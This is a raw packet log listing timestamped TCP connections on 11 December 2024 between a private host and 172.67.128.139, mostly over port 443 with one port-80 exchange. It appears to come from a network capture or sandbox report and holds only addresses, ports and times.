Dec 11, 2024 12:44:37.341054916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.341061115 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.341101885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.341170073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.341895103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.341909885 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.342026949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.342026949 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.342031956 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.342124939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.342124939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.342170000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.342170000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.342983007 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.342998981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.343102932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.343102932 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.343204021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.343204021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.343208075 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.343250036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.343250036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.344507933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.344523907 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.344638109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.344638109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.344640970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.344733953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.344733953 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.344784975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.344831944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.345700026 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.345711946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.345911026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.345958948 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346008062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346066952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346071005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.346115112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346163988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346493959 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.346512079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.346613884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346616983 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.346662045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346662045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346714020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346761942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.346811056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.347533941 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.347548962 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.347668886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.347668886 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.347773075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.347773075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.347776890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.349154949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.349169016 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.349369049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.349371910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.349417925 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.349524975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.349601984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.349656105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.350332022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.350347996 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.350492001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.350492001 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.350548029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.350560904 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.350567102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.350661039 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.351210117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.351223946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.351361036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.351361036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.351368904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.351444006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.351455927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.351557016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.352806091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.352823019 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.353035927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.353113890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.353118896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.353188992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.353210926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.353260040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.353980064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.353993893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.354104042 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.354108095 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.354151011 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.354151011 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.354204893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.354204893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.354248047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.354980946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.354999065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.355118036 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.355168104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.355168104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.355171919 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.355212927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.355262041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.355262041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.355926991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.355945110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.356066942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.356070042 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.356113911 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.356198072 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.356198072 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.357516050 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.357531071 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.357636929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.357686043 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.357734919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.357734919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.357739925 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.357784033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.357784033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.358731985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.358747005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.358890057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.358890057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.358892918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.358972073 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359035015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359734058 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.359749079 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.359874010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359874010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359951973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359951973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359963894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.359972954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.359972954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.360627890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.360645056 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.360796928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.360796928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.360810041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.360928059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.361084938 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.361128092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:37.361238956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.676798105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:37.681180954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:38.112371922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.008016109 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.008055925 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.008198023 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.008317947 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.008332014 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.245466948 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.246355057 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.246383905 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.246594906 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.246608973 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.864937067 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.865104914 CET	443	49758	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.865264893 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.865487099 CET	49758	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.894582033 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.894622087 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:41.894789934 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.895037889 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:41.895051956 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:42.129321098 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:42.130232096 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:42.130242109 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:42.130641937 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:42.130647898 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:42.967030048 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:42.967104912 CET	443	49759	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:42.967282057 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:42.967454910 CET	49759	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.658720970 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.658761978 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:44.658940077 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.659110069 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.659133911 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:44.782707930 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.895051956 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:44.896806002 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:44.896987915 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.897128105 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.898045063 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.898072004 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:44.898241043 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:44.898266077 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.011169910 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.390845060 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.390855074 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.391036034 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.391043901 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.391088963 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:45.391211987 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:45.474478006 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.474514961 CET	443	49761	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:45.474678040 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:45.474874020 CET	49761	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:34.743166924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:34.743205070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:34.743383884 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:34.760502100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:34.760524035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:34.997167110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:34.997445107 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.000905037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.000916004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.001249075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.029361963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.070204973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678165913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678276062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678335905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678397894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678448915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678519964 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.678539991 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.678699017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.678796053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.909416914 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.909980059 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.910038948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.910167933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.910182953 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.910211086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.910303116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.910403967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.910737038 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:35.958553076 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:35.958570957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.005373955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.160677910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161237001 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161279917 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161390066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.161408901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161461115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161515951 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161715031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.161731005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.161871910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.162018061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.162090063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.162256002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.162285089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.162297964 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.162441969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.208420038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.208436012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.255274057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.392322063 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.392595053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.392626047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.392769098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.392785072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.392960072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.393095970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393162012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393307924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393347025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.393363953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393587112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.393589973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393609047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393871069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.393887997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.393898964 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.394289017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.394645929 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.394871950 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.394901991 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.394916058 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.395113945 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.638212919 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.638473988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.638547897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.638792038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.638868093 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.639225960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.639441013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.639900923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.639950037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.640214920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.640216112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.640233994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.640857935 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.640933037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.641077995 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.641084909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.641094923 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.641134024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.641242027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.870945930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.871150970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.871170044 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.871383905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.871397018 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.871579885 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.871851921 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.872020006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.872045994 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.872229099 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.872243881 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.872386932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.872843981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.873058081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.873069048 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.873188019 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.873251915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.873864889 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.874099970 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.874100924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.874116898 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.874265909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.874288082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:36.874773979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:36.874947071 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.124547958 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.124757051 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.124797106 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.125000954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.125312090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.125659943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.126027107 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.126255989 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.126266956 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.126605988 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.127036095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.127223969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.127233028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.127553940 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.128086090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.128115892 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:37.128227949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:37.128360033 CET	49763	443	192.168.11.20	172.67.128.139
